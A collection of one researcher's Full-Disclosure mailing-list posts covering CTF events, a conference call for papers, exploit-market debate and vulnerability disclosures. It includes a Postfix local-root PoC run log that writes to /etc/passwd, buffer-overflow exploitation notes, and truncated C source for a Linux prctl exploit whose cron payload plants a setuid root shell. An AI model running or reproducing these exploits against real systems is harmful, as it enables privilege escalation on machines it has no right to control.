Re: [Full-disclosure] Amongst data breaches and misc 'leakage', not necessarily digital, DEFCON CTF continues at DEFCON XX
Since years, I'm actively participating in CTFs (mostly playing but also organizing some of them) and I'm member of a well-known CTF team... So let me throw some constructive words about CTFs in general and Defcon's in particular. Inline response/comments following: Vulcan DDtek escribió: > DT asked DDT to grow the CTF. So we have. We are pre-qualifying > winners of other CTFs around the globe to bring a smackdown of epic > proportions this August. > > As always, last year's champion, the Euopean Nopsled Team, is granted > automatic entry. There are so many CTFs on the > circuit these days, we seek to incorporate only the best of the best. If so, why are you running quals almost exactly when Phdays CTF final is being held? Many teams will be flying back home on Sunday (Jun, 3th). Impossible to join Defcon quals (apart from the fact that two consecutives CTFs is too much time-consuming and effort). Summarizing, you're going to miss really good teams like: http://www.phdays.com/participants.asp > Last year the iCTF and Codegate winners demonstrated that winners of > these CTFs were worthy of returning, additionally we invite victors > from NCCDC, HitB, PhDays, nuit du hack, ruCTF, and Defcon 19 oCTF. Again, if you're considering PhDays as a good CTF event, it makes no sense to "intersect" with them. > While DEFCON refuses to sell-out to corporate sponsorship, DT is > personally covering two rooms per team at the majestic RIO hotel > Thursday-Sunday for each team. It's better than nothing but not enough (IMHO). Please, learn from other "big" CTF events like Codegate. Only the flight for a non-US citizen could be 1000 EUR. If "the player" must cover flight, accomodation and even Defcon entrance (omg, this is hilarious!), then what are the benefits/pros of competing at Defcon CTF? Only "fame", I guess (because there are no prizes either). A very expensive fame, I'd add (again, IMHO) :) > In honor of DC XX we're upping the number of tables in Vegas to 20 > total. Yes, when the dust clears the _20_ best will be invited to It's going to be the Jungle :) Hope there's no network or scoring problems like other years... Btw, IMHO, scores should be up and visible for all (public) during *all* the game in order to have some minimal guarantee of fair game. Another point: is it fair some teams have literally a troop of players "helping" from their room/internet, etc at Defcon final? I agree it's difficult to limit cheating but at least some basic rules should try to guard against it. I wish luck for all of you (organizers and players) :) PS: Sorry for the rant, my intention was/is to be constructive and that CTFs become better (not only Defcon's; learning from others' errors is good/desirable so if you -CTF organizer in general- understood this email, I'm sure you'll know how to improve your CTF organization). PS2: I also got no response from Ddtek when trying to deal with some of these issues. I suppose they're quite busy designing this year's VM to be rooted again (recursive issue? :)) }:-) Cheers, -Roman ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Advisory: sudo 1.8 Format String Vulnerability
Folks at @vupen seems to have it exploited the hard way. "We successfully exploited the recent Sudo local root / format string vuln including full bypass of FORTIFY_SOURCE #GotRoot" Src: https://twitter.com/#!/VUPEN/status/165454997444767745 Cheers, -Román joernchen of Phenoelit escribió: > Hi, > > > On 01/31/2012 05:14 PM, Todd C. Miller wrote: >> joernchen is correct, it is probably still possible to exploit with >> -D_FORTIFY_SOURCE=2, though it is more difficult. On systems with >> ASLR and a non-executable stack it should be even harder. > > nasty thing is: it's a local exploit so you got nearly unlimited tries > for free =). It will just be noisy in dmesg due to all the segfaults > while brute forcing the right values. > > > cheers, > > joernchen ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] "SbD Wargame 2011 write-up" by int3pids
Hi, For those interested in CTFs, wargames, etc... This is the complete walkthrough to one of them: the Spanish SbD wargame held ~1 month ago. Written by the winning team: int3pids. http://www.rs-labs.com/papers/int3pids_SbD2011_write_up.pdf Cheers, -Román ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Web challenges from RootedCON'2010 CTF - Contest -> Solutions and Write-ups
Contest is over. PPP (Plaid Parliament of Pwning) won the prize. Write-ups (3 in English and 1 in Spanish) were packed in this .rar file: http://www.rs-labs.com/noticias/rootedctf-results/rooted-online-ctf-writeups-september-2010.rar (see "readme" file with complete info and press-release). Thanks to all who played with us :) PD: Again, this has nothing to do with current RootedCON congress/organization. Cheers, -Roman Roman Medina-Heigl Hernandez escribió: > Hello, > > Next Friday I will be running a web-based challenges contest. Winner will > be awarded with the new iPod touch from Apple. Thanks to Hispasec Sistemas > (you probably know them as the makers of VirusTotal service) from > sponsoring the prize. > > Full info (registration currently open): > http://www.rs-labs.com/rooted2010-ctf/ > > PS: Contest is a *personal initiative*. The current RootedCON organization > is NOT involved at all. Chosen name is merely anecdotal. > ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Web challenges from RootedCON'2010 CTF - Contest
Hello, Next Friday I will be running a web-based challenges contest. Winner will be awarded with the new iPod touch from Apple. Thanks to Hispasec Sistemas (you probably know them as the makers of VirusTotal service) from sponsoring the prize. Full info (registration currently open): http://www.rs-labs.com/rooted2010-ctf/ -- Saludos, -Roman PGP Fingerprint: 09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742 [Key ID: 0xEAD56742. Available at KeyServ] ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Rooted CON 2010 - CFP
===
- Rooted CON 2010 -
C A L L F O R P A P E R S
===
.: [ ABOUT ]
Rooted CON is a Security Congress to be held in Madrid (Spain) on
March 2010. Our goal is to promote security by offering highly technical
talks with a practical approach (interesant mix of theory / demos) and
neutrality (although we want businesses/enterprises to participate in the
congress, they should prioritize the technical and objective approach).
We also want people to participate and enjoy... And even come back home
with a prize! Therefore, we will hold various events (apart from talks),
one of the most important of them being the CTF ("Capture the flag")
contest, with substantial cash prizes and been designed by none other
than one of the "Sexy Pandas" (finalist team in the traditional "Defcon"
CTF).
And of course if you are brave enough you will also have fun by living
the beautiful nights of Madrid...
.: [ FORMAT ]
We would like to receive two kind of proposals:
- fast talks. Duration: 20'.
- normal talks. Duration: 50'.
If you have a crazy/interesting and fresh idea that could be summarized
in fewer time, please don't hesitate and submit a fast talk. If your idea
is even crazier and need more time to be explained in depth, use the
second one: normal talk.
We are only accepting submissions in Spanish and English language. We
will do our best to have simultaneous translation in the conference room
but we cannot promise it since it will depend on budget and sponsors.
.: [ TOPICS ]
Every hot topic in the security market is welcome. These are only some
examples:
- innovative defensive and offensive techniques.
- everything related to fraud, phishing, trojan horses in financial
entities, protection mechanisms and technologies...
- "reversing", low-level techniques, kernel, ...
- vulnerabilities discovery, "fuzzing" and related topics.
- virtual contexts attacks, clusters, "cloud computing" and new "in the
cloud" products.
- cryptography and cryptanalysis.
- mobile security.
- hacking tools: custom developments.
- document security.
- VoIP, phreaking, ...
- forensics / antiforensics.
- wireless security.
- steganography and covert channels.
- web applications security
- ...
.: [ SUBMISSION PROCEDURE ]
Would you like to speak at Rooted CON? Please, don't forget to make
talks illustrative and include demos! :)
Please, send your application via e-mail to:
cfp -AT- rootedcon.es
For the talk to be accepted in the initial selection process it should
comply with the previously described format and *must* include *all* the
following info:
- title
- author (full name and optionally nick/handle)
- bio (some lines defining who you are)
- duration (normal or fast talk?)
- abstract (should be sufficiently extensive for being correctly
evaluated)
- location/nationality
- facilities needed
- do you plan to present same or similar talk in another conference?
Which one?
.: [ SCHEDULE ]
October 1, 2009 - CFP opens.
December 20, 2009 - CFP closes.
December 31, 2009 - Speakers selected.
January 10, 2010 - Final paper and presentation material submitted.
.: [ SPEAKER PRIVILEGES ]
Speakers will be given the following benefits:
- Free accommodation.
- Free access to the conference.
- Travel expenses (if possible).
- Free party tickets/drinks.
.: [ SPONSORS ]
There are still opportunities to help us in organizing the best security
congress in Spain while obtaining an interesting marketing ROI. If you are
interested in being one of our sponsors, please, contact us at:
sponsors -AT- rootedcon.es
.: [ LINKS ]
- Web site
http://www.rootedcon.es/
- Facebook group
http://www.facebook.com/group.php?gid=96410924798
- LinkedIn group
http://www.linkedin.com/groups?gid=1969438
- Announce mailing-list
https://listas.rootedcon.es/mailman/listinfo/rooted-announce
-=EOF=-
--
Rooted CON staff
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] PoCfix (PoC for Postfix local root vuln - CVE-2008-2936)
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hello, The recent vulnerability in Postfix discovered by Sebastian Krahmer is trivially exploitable when certain preconditions are met. Nevertheless, it's very difficult to find such conditions in a real-world scenario. I wrote this exploit for fun and to demonstrate that. I also hope it helps sysadmins to check and test their systems. I used an Ubuntu/Debian (IA32) system which *I had to make vulnerable on purpose*. The tweaks were: - - #1: make the spool writable to attacker chmod o+w /var/mail - - #2: disable mail aliases (LDA should be able to deliver mail directly to "root" mailbox) - - #3: use "local" postfix process as LDA Perhaps condition #1 is the most difficult to meet, for a normal (non-privileged) user. But think about a privilege escalation if you manage to get into the "mail" group first (spool dir is tipically writable by members of "mail" group). For #2, it depends on configuration, but Ubuntu/Debian usually creates an alias for "root", so that mail is delivered to a non-root account (and making the system non vulnerable to this exploit). When installing Postfix, you are asked to choose a local delivery agent (LDA). I found one of my test systems using procmail (not vulnerable) and another one using postfix built-in LDA (vulnerable). For a quick test, normally, it will be sufficient to append the following lines to /etc/postfix/main.cf: alias_maps = mailbox_command = (left blank intentionally) Finally, postfix should be refreshed: postfix reload There are other preconditions like: - - #4: postfix should not be using maildir-style mailboxes - - #5: mailbox for "root" should not exist (or at least you should have permission to delete it, which is not always possible, even when #1 is true) My script tries to do its best to check for these conditions (postfix config is very flexible, I only checked some typical parameters). Feel free to write me for corrections, etc. == [EMAIL PROTECTED]:~$ wget http://www.rs-labs.com/exploitsntools/rs_pocfix.sh [EMAIL PROTECTED]:~$ chmod a+x rs_pocfix.sh [EMAIL PROTECTED]:~$ ./rs_pocfix.sh # # "rs_pocfix.sh" (PoC for Postfix local root vulnerability: CVE-2008-2936) # by Roman Medina-Heigl Hernandez a.k.a. RoMaNSoFt <[EMAIL PROTECTED]> # # Tested: Ubuntu / Debian # # [ Madrid, 30.Aug.2008 ] # [*] Postfix seems to be installed [*] Hardlink to symlink not dereferenced [*] Spool dir is writable [*] Backed up: /etc/passwd (saved as "/tmp/pocfix_target_backup.18107") [*] Sending mail (3 seconds wait) [*] Exploit successful (appended data to /etc/passwd). Now "su dsr", pass is "dsrrocks") [EMAIL PROTECTED]:~$ su dsr Password: sh-3.1# == PS: I didn't find Wietse's nice advisory [1] on postfix.org site (or at least, if it exists, it's not easy to find it). Although it seems that some non-POSIX issues in OS are contributing to the vulnerability, IMHO it's a (low-medium risk) vulnerability in Postfix and it deserves to be listed on postfix page. Despite this issue, Postfix continues being one of the best mail server software ever made and my favourite MTA. [1] http://article.gmane.org/gmane.mail.postfix.announce/110 - -- Cheers, - -Roman PGP Fingerprint: 09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742 [Key ID: 0xEAD56742. Available at KeyServ] -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.7 (MingW32) iD8DBQFIunoI5H+KferVZ0IRAkBrAKCwgHV+6O+At5Hw0dsYs8kYJZQjZACeJ96a Ww7gCuqOt32rA2HhiTuKeRk= =oo87 -END PGP SIGNATURE- rs_pocfix.sh Description: application/shellscript ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] AppScan and IDS evasion
Pen Testing escribió: > I've launched AppScan against a web application and I'm being > blocked/banned (since I have a dynamic IP I can reboot my router and > get another IP, which is shortly banned again, as long as the attack > persists). Since AppScan doesn't have any kind of IDS evasion (AFAIK), > what could I do? Are you using the default template/policy? Perhaps you could edit it and/or create a new (and more relaxed) one by disabling potentially detectable checks... No idea about which checks you should eliminate... > PS: I don't know which kind of IDS is in use (perhaps it's not a > full-IDS but some anomaly detection as the one included in Checkpoint > FW-1 but I don't have that information). Any of you have more info about the kind of checks FW1 use? -- Saludos, -Roman PGP Fingerprint: 09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742 [Key ID: 0xEAD56742. Available at KeyServ] ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Conferences material, etc
Hello ppl, Could somebody provide a good link (ftp mirror) containing past presentations&videos of known security conferences? (defcon, ccc, etc). Some kind of sorted archive would help :) I used "opensores.thebunker.net" in the past but it seems not to exist now... -- Saludos, -Roman PGP Fingerprint: 09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742 [Key ID: 0xEAD56742. Available at KeyServ] ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] DoS Exploit for DHCPd bug (Bugtraq ID 25984 ; CVE-2007-5365)
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Hello,
I've been playing with DHCPd bug in *Ubuntu Linux*. According to the
analysis by Core it could be theoretically possible to get a shell ("the
possibility of using it to execute arbitrary code on vulnerable systems was
not investigated in-depth and should not be disregarded"):
http://www.coresecurity.com/index.php5?module=ContentMod&action=item&id=1962
But in practice it doesn't seems to be possible because vulnerable memcpy
tries to write past the end of the stack region (it tries to write ~64
kbytes, when available stack space is ~8 kbytes), so you always get an
instant "Segmentation fault", without any chance to control EIP.
DoS exploit is quite trivial. DHCPd crashes using mms values:
278 <= mms <= 284
I've attached working (DoS) exploit.
If some code-ninja has any idea about how to overcome the former
exploitation problem, please, I'd be interested in knowing it (perhaps
performing a previous DHCP operation in order for the stack to be expanded,
before launching the real exploit?).
- --
Saludos,
- -Roman
PGP Fingerprint:
09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742
[Key ID: 0xEAD56742. Available at KeyServ]
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.7 (MingW32)
iD8DBQFHK5E/5H+KferVZ0IRAuf1AKD2B2UIccm8xNOM/WIkhNUiad4VigCePom0
KdZvmNSuBNnefofp7g/RY+M=
=bLqK
-END PGP SIGNATURE-
DoS-CVE-2007-5365.tgz
Description: Binary data
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] iDefense Q-1 2007 Challenge -I WILL BUY FOR MORE
Then you cannot assure that your buyer will make an ethical use of the exploit. So what's the real difference against selling it to another people (known or "unknown", where "unknown" could be black-hats, script-kiddies or whoever making the higher bid)? The receipt? :) I mean, if I (as a researcher) don't mind what the exploit will be used for, I'd simply look for the higher bidder (I guess). And you didn't really answer my former two questions... Please, could you provide some specific examples of typical ways to justify ROI? Which is the typical profile/s of enterprise/s buying exploits? (without naming particular enterprises, of course). Simon Smith escribió: > Oh, > About your ROI question, that varies per buyer. I am not usually told > about why a buyer needs something as that's none of my business. > > On 1/18/07 4:22 AM, "Roman Medina-Heigl Hernandez" <[EMAIL PROTECTED]> > wrote: > >> Simon Smith escribió: >>> Amen! >>> KF is 100% on the money. I can arrange the legitimate purchase of most >>> working exploits for significantly more money than iDefense, In some cases >>> over $75,000.00 per purchase. The company that I am working with has a >>> relationship with a legitimate buyer, all transactions are legal. If you're >> >> >> I was wondering which kind of (legal) enterprises/organizations would pay >> $75000 for a simple (or not so simple) exploit. >> - governmental organizations (defense? DoD? FBI? ...) >> - firms offering high-profiled pen-testing services? >> - ... ? >> >> What about the ROI for such investment? >> >> >> >> Regards, >> -Roman >> >> ___ >> Full-Disclosure - We believe in it. >> Charter: http://lists.grok.org.uk/full-disclosure-charter.html >> Hosted and sponsored by Secunia - http://secunia.com/ > > -- Saludos, -Roman PGP Fingerprint: 09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742 [Key ID: 0xEAD56742. Available at KeyServ] ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] iDefense Q-1 2007 Challenge -I WILL BUY FOR MORE
Simon Smith escribió: > Amen! > KF is 100% on the money. I can arrange the legitimate purchase of most > working exploits for significantly more money than iDefense, In some cases > over $75,000.00 per purchase. The company that I am working with has a > relationship with a legitimate buyer, all transactions are legal. If you're I was wondering which kind of (legal) enterprises/organizations would pay $75000 for a simple (or not so simple) exploit. - governmental organizations (defense? DoD? FBI? ...) - firms offering high-profiled pen-testing services? - ... ? What about the ROI for such investment? Regards, -Roman ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] HP Tru64 dtmail bug - Really exploitable?
nced before the function returns (which is common with most of > the CDE bugs). The 64 bit pointer is of course 8 bytes of the string you > use to smash the buffer, and it requires some NULL bytes which is not > possible given the architecture. I was a little unclear about this > (actually, completely wrong) but am still fairly confident this bug > isn't actually exploitable on TRU64. > > PERFECT.MATERIAL > > > On 10/20/06, *Roman Medina-Heigl Hernandez* <[EMAIL PROTECTED] > <mailto:[EMAIL PROTECTED]>> wrote: > > PERFECT.MATERIAL escribió: >> Correction, TRU64 runs on Alphas in LSB mode. However, this bug is > still >> not exploitable. Sorry for the NETRAGARD-like fuckup :D > > I didn't have time enough to test this, but at first sight it seems > perfectly exploitable. > > Alpha is a "true" 64 bits RISC processor (both data & addressing > being 64 > bits), little-endian. A typical stack address is something like: > 0x1530 ( "\x30\xf5\xff\x1f\x01\x00\x00\x00" ) > > So yes, you have nulls (3, in this case), but at the end of the > string :-) > You can try a typical string-alike buffer: > [ NOPs ... SHELLCODE RET ] > (stack variables are just before RET, you have not saved frame pointer > stored here) > > Assuming a typical RET value (like the former one), your exploit should > rely on memory being "more or less clean", I mean, at least two > nulls (the > third one is \0 terminator byte, you can insert it) should be exist > in the > memory location where the attack string is being copied (well, at > the end > of the string). Is this difficult? I don't think so (but I don't really > know for sure). > > You can minimize the problem if you use longer RET addreses. For > instance, > a typical address inside libc functions could be: 0x3ff800f3810 (so you > have two nulls, instead of three). You'd have to deal with only one > residual null value, instead of two. You can try this with a typical > return > into libc exploit. This should be also sufficient (and useful) to avoid > non-executable stack protection, which is enabled by default in Tru64. > > Well, that's the theory... :-) - -- Saludos, - -Roman PGP Fingerprint: 09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742 [Key ID: 0xEAD56742. Available at KeyServ] -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.2.2 (MingW32) iD8DBQFFO5dh5H+KferVZ0IRAqUYAJkBukxl+2XSlTiB5e80B0OFnUA+UACeLXX4 F+jeoGD9/lh2x0AzzJ4WNxY= =mHTv -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [NETRAGARD-20060810 SECURITY ADVISORY] [HP Tru64 dtmail Unchecked Buffer - Local Root Compromise] [ http://www.netragard.com ]
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 PERFECT.MATERIAL escribió: > Correction, TRU64 runs on Alphas in LSB mode. However, this bug is still > not exploitable. Sorry for the NETRAGARD-like fuckup :D I didn't have time enough to test this, but at first sight it seems perfectly exploitable. Alpha is a "true" 64 bits RISC processor (both data & addressing being 64 bits), little-endian. A typical stack address is something like: 0x1530 ( "\x30\xf5\xff\x1f\x01\x00\x00\x00" ) So yes, you have nulls (3, in this case), but at the end of the string :-) You can try a typical string-alike buffer: [ NOPs ... SHELLCODE RET ] (stack variables are just before RET, you have not saved frame pointer stored here) Assuming a typical RET value (like the former one), your exploit should rely on memory being "more or less clean", I mean, at least two nulls (the third one is \0 terminator byte, you can insert it) should be exist in the memory location where the attack string is being copied (well, at the end of the string). Is this difficult? I don't think so (but I don't really know for sure). You can minimize the problem if you use longer RET addreses. For instance, a typical address inside libc functions could be: 0x3ff800f3810 (so you have two nulls, instead of three). You'd have to deal with only one residual null value, instead of two. You can try this with a typical return into libc exploit. This should be also sufficient (and useful) to avoid non-executable stack protection, which is enabled by default in Tru64. Well, that's the theory... :-) - -- Saludos, - -Roman PGP Fingerprint: 09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742 [Key ID: 0xEAD56742. Available at KeyServ] -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.2.2 (MingW32) iD8DBQFFOTed5H+KferVZ0IRAlWEAJ0YkY8LfGaqqYglNkuqj4ZDXwrJ8QCgvFIU zyQhr3AP26MlKOVdKdk4Dio= =Iga8 -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [NETRAGARD-20060810 SECURITY ADVISORY] [HP Tru64 dtmail Unchecked Buffer - Local Root Compromise] [ http://www.netragard.com ]
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Roman Medina-Heigl Hernandez escribió: >>> Product Name: dtmail >>> Product Version : 5.1b >>> Vendor Name : Hewlet Packard >>> Criticality : Local Root Compromise >>> Effort : Easy >>> Operating System: Tru64 >>> Type: Unchecked Buffer > > Hello, > > I've just installed vulnerable package in my test-bed: > > # uname -a > OSF1 alpha V5.1 2650 alpha > # pwd > /mnt/ALPHA/BASE > # setld -l . OSFCDEMAIL540 > # ls -l /usr/dt/bin/dtmail > -r-xr-sr-x 1 bin mail 1212752 Oct 17 2002 /usr/dt/bin/dtmail > # > > How is this a local root? (binary is setgid "mail" but not setuid "root") Confirmed by HP: *NOT* a local root. "The vulnerability could be exploited by a local, authorized user to execute arbitrary code as a member of the 'mail' group." http://h2.www2.hp.com/bizsupport/TechSupport/Document.jsp?lang=en&cc=us&objectID=c00793805&jumpid=reg_R1002_USEN Interesting enough to note that the bug is also present in HPUX (same scope, again not a local root). Netragard ppl should fix their advisory and web site... - -- Saludos, - -Roman PGP Fingerprint: 09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742 [Key ID: 0xEAD56742. Available at KeyServ] -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.2.2 (MingW32) iD8DBQFFOQiL5H+KferVZ0IRAhsoAJ9RGDnKl+bfj4sKipKyl6i8KBVDQwCePbrR OPOjUt/j090/ZelHuzJZuBk= =BZop -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [NETRAGARD-20060810 SECURITY ADVISORY] [HP Tru64 dtmail Unchecked Buffer - Local Root Compromise] [ http://www.netragard.com ]
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 > Product Name : dtmail > Product Version : 5.1b > Vendor Name : Hewlet Packard > Criticality : Local Root Compromise > Effort: Easy > Operating System : Tru64 > Type : Unchecked Buffer Hello, I've just installed vulnerable package in my test-bed: # uname -a OSF1 alpha V5.1 2650 alpha # pwd /mnt/ALPHA/BASE # setld -l . OSFCDEMAIL540 # ls -l /usr/dt/bin/dtmail - -r-xr-sr-x 1 bin mail 1212752 Oct 17 2002 /usr/dt/bin/dtmail # How is this a local root? (binary is setgid "mail" but not setuid "root") - -- Saludos, - -Roman PGP Fingerprint: 09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742 [Key ID: 0xEAD56742. Available at KeyServ] -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.2.2 (MingW32) iD8DBQFFNSu45H+KferVZ0IRAkbgAJ4nuC7G+NypoVaZo5VbvNwMeZrVugCg0IUe fLTR3JrJQl8I9+2VW87w4sE= =y2ll -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Portable shell-exploit for buffer-overflow bugs
Hello str0ke, I reviewed the exploits listed. Yes, all of them use the shell but they exploit trivially shell-exploitable bugs (like race conditions, ld-preload, etc) or include other "external" programs (like cc, perl, etc) or assume Linux/bash as well as other more or less recent environments. The nearest exploit to what I was looking for (buffer overflow exploit in shell-scripting) is: http://milw0rm.com/exploits/18 But it lacks compatibility. For instance, "echo" command is very variable, depending on OS/Shell version. I've uploaded a proof of concept which I wrote some time ago, showing my approach, to: http://www.rs-labs.com/exploitsntools/rs_aix_host.sh (~6 KB) It may not be perfect but my goal was to make it work in a very old minimal Unix environment (the exploit yields local root on AIX 4.1.4.0, abusing a known and ancient bug: ~ 10 years old!) and at the same time compatible with some recent systems like Linux/bash (logically, the vulnerability is not present in such systems, I'm referring to the skel of the exploit). Feedback would be appreciated. PS: I'm cc'ing some lists where this post could suit. Moderators should decide. Cheers, -Roman str0ke escribió: > How goes it Roman, > >> Which other "curious" exploits in shell do you know of? > > Attached is a list of the known exploits that are in shell, some call > other languages some don't. > > Be safe, > /str0ke > > > > > date exploit title > exploit author > platform > > 2003-04-23Snort <=1.9.1 Remote Root Exploit (p7snort191.sh) > http://milw0rm.com/exploits/18 truff > linux > 2003-05-02OpenSSH/PAM <= 3.6.1p1 Remote Users Ident (gossh.sh) > http://milw0rm.com/exploits/26 Nicolas Couture > linux > 2003-07-22Cisco IOS (using hping) Remote Denial of Service Exploit > http://milw0rm.com/exploits/62 zerash > hardware > 2004-01-25MS Windows XP/2003 Samba Share Resource Exhaustion Exploit > http://milw0rm.com/exploits/148 Steve Ladjabi > windows > 2000-11-16/sbin/restore exploit (rh6.2) > http://milw0rm.com/exploits/182 n/a > linux > 2000-11-17Slackware Linux /usr/bin/ppp-off Insecure /tmp Call Exploit > http://milw0rm.com/exploits/185 sinfony > linux > 2000-11-19dump 0.4b15 Local Root Exploit > http://milw0rm.com/exploits/193 Mat > linux > 2000-11-19HP-UX 11.00/10.20 crontab Overwrite Files Exploit > http://milw0rm.com/exploits/195 dubhe > hp-ux > 2000-11-21vixie-cron Local Root Exploit > http://milw0rm.com/exploits/203 Michal Zalewski > linux > 2000-12-15Pine (Local Message Grabber) Exploit > http://milw0rm.com/exploits/231 Mat > linux > 2001-01-02Redhat 6.1 / 6.2 TTY Flood Users Exploit > http://milw0rm.com/exploits/236 teleh0r > linux > 2001-01-03Solaris 2.6 / 7 / 8 Lock Users Out of mailx Exploit > http://milw0rm.com/exploits/240 optyx > solaris > 2001-01-25glibc-2.2 and openssh-2.3.0p1 exploits glibc >= 2.1.9x > http://milw0rm.com/exploits/258 krochos > linux > 2001-05-07IRIX (5.3/6.2/6.3/6.4/6.5/6.5.11) /usr/bin/lpstat Local Exploit > http://milw0rm.com/exploits/265 LSD-PLaNET > irix > 2001-05-08IRIX (5.3/6.2/6.3/6.4/6.5/6.5.11) /usr/lib/print/netprint Local > Exploit http://milw0rm.com/exploits/270 LSD-PLaNET > irix > 2001-03-04GLIBC 2.1.3 ld_preload Local Exploit > http://milw0rm.com/exploits/290 shadow > linux > 1997-05-03Solaris 2.5.1 lp and lpsched Symlink Vulnerabilities > http://milw0rm.com/exploits/330 Chris Sheldon > solaris > 1997-05-19Solaris 2.5.0/2.5.1 ps & chkey Data Buffer Exploit > http://milw0rm.com/exploits/332 Joe Zbiciak > solaris > 2004-07-22Xitami Web Server Denial of Service Exp
Re: [Full-disclosure] Online code and decode webpage
Alice Bryson escribió: > hi there >http://www.lwang.org provide free online code and decode service > website, including base64, hashes, cipher analyze and etc. Which is your preferred/most complete *Windows* toolkit for performing a similar task? Ideally a simple .exe including a GUI and featuring different encoding/decoding (uuencode, base64, urlencode, etc) mechanisms, hashes (MD4, MD5, SHA1, etc), encryption algorithms. Any all-in-one for this? -- Saludos, -Roman PGP Fingerprint: 09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742 [Key ID: 0xEAD56742. Available at KeyServ] ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t Exploit ( BID 18874 / CVE-2006-2451 )
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Maybe this is obvious for Paul Starzetz (as well as many other people) but
full-disclosure is not really "full" without exploit code.
Working exploit attached. You can also download it from:
http://www.rs-labs.com/exploitsntools/rs_prctl_kernel.c
Greetz to !dSR ppl :-)
- --
Saludos,
- -Roman
PGP Fingerprint:
09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742
[Key ID: 0xEAD56742. Available at KeyServ]
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.2.2 (MingW32)
iD8DBQFEtD815H+KferVZ0IRAjhKAKCtHnTCwV0D/kH3dt0HItQUPZ/JegCglaQM
vO8VFJyxf+EXy2buqTK4kVM=
=dzRm
-END PGP SIGNATURE-
/*/
/* Local r00t Exploit for: */
/* Linux Kernel PRCTL Core Dump Handling */
/* ( BID 18874 / CVE-2006-2451 ) */
/* Kernel 2.6.x (>= 2.6.13 && < 2.6.17.4) */
/* By: */
/* - dreyer<[EMAIL PROTECTED]> (main PoC code) */
/* - RoMaNSoFt <[EMAIL PROTECTED]> (local root code) */
/* [ 10.Jul.2006 ] */
/*/
#include
#include
#include
#include
#include
#include
#include
#include
char
*payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n*
* * * * root cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh
; rm -f /etc/cron.d/core\n";
int main() {
int child;
struct rlimit corelimit;
printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
